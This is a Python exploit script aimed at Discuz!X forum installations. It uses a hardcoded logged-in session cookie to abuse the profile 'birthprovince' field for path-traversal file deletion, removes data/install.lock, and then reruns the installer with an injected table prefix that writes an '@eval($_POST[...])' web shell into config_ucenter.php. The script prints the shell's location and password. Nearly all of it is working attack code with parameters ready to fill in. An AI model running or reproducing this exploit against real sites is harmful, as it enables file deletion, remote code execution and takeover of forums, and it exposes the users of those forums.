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#!/usr/bin/env python3
import base64
import random
import re
import string
import requests
sess = requests.Session()
randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
##################################################
########## Customize these parameters ############
target = 'http://localhost/discuzx'
# login target site first, and copy the cookie here
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode"
shell_password = randstr()
db_host = ''
db_user = ''
db_pw = ''
db_name = ''
#################################################
path = '/home.php?mod=spacecp&ac=profile&op=base'
url = target + path
sess.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Referer': url})
# sess.proxies.update({'http': 'socks5://localhost:1080'})
# sess.proxies.update({'http': 'http://localhost:8080'})
def login(username=None, password=None):
sess.headers.update({'Cookie': cookie})
def get_form_hash():
r = sess.get(url)
match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I)
if match:
return match.group(1)
def tamper(formhash, file_to_delete):
data = {
'formhash': (None, formhash),
'profilesubmit': (None, 'true'),
'birthprovince': (None, file_to_delete)
}
r = sess.post(url, files=data)
if 'parent.show_success' in r.text:
print('tamperred successfully')
return True
def delete(formhash, file):
if not tamper(formhash, file):
return False
image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg=='
data = {
'formhash': formhash,
'profilesubmit': 'true'
}
files = {
'birthprovince': ('image.png', base64.b64decode(image), 'image/png')
}
r = sess.post(url, data=data, files=files)
if 'parent.show_success' in r.text:
print('delete {} successfully'.format(file))
return True
def getshell():
install_url = target + '/install/index.php'
r = sess.get(install_url)
if '安装向导' not in r.text:
print('install directory not exists')
return False
table_prefix = "x');@eval($_POST[{}]);('".format(shell_password)
data = {
'step': 3,
'install_ucenter': 'yes',
'dbinfo[dbhost]': db_host,
'dbinfo[dbname]': db_name,
'dbinfo[dbuser]': db_user,
'dbinfo[dbpw]': db_pw,
'dbinfo[tablepre]': table_prefix,
'dbinfo[adminemail]': 'admin@admin.com',
'admininfo[username]': 'admin',
'admininfo[password]': 'admin',
'admininfo[password2]': 'admin',
'admininfo[email]': 'admin@admin.com',
}
r = sess.post(install_url, data=data)
if '建立数据表 CREATE TABLE' not in r.text:
print('write shell failed')
return False
print('shell: {}/config/config_ucenter.php'.format(target))
print('password: {}'.format(shell_password))
if __name__ == '__main__':
login()
form_hash = get_form_hash()
if form_hash:
delete(form_hash, '../../../data/install.lock')
getshell()
else:
print('failed')
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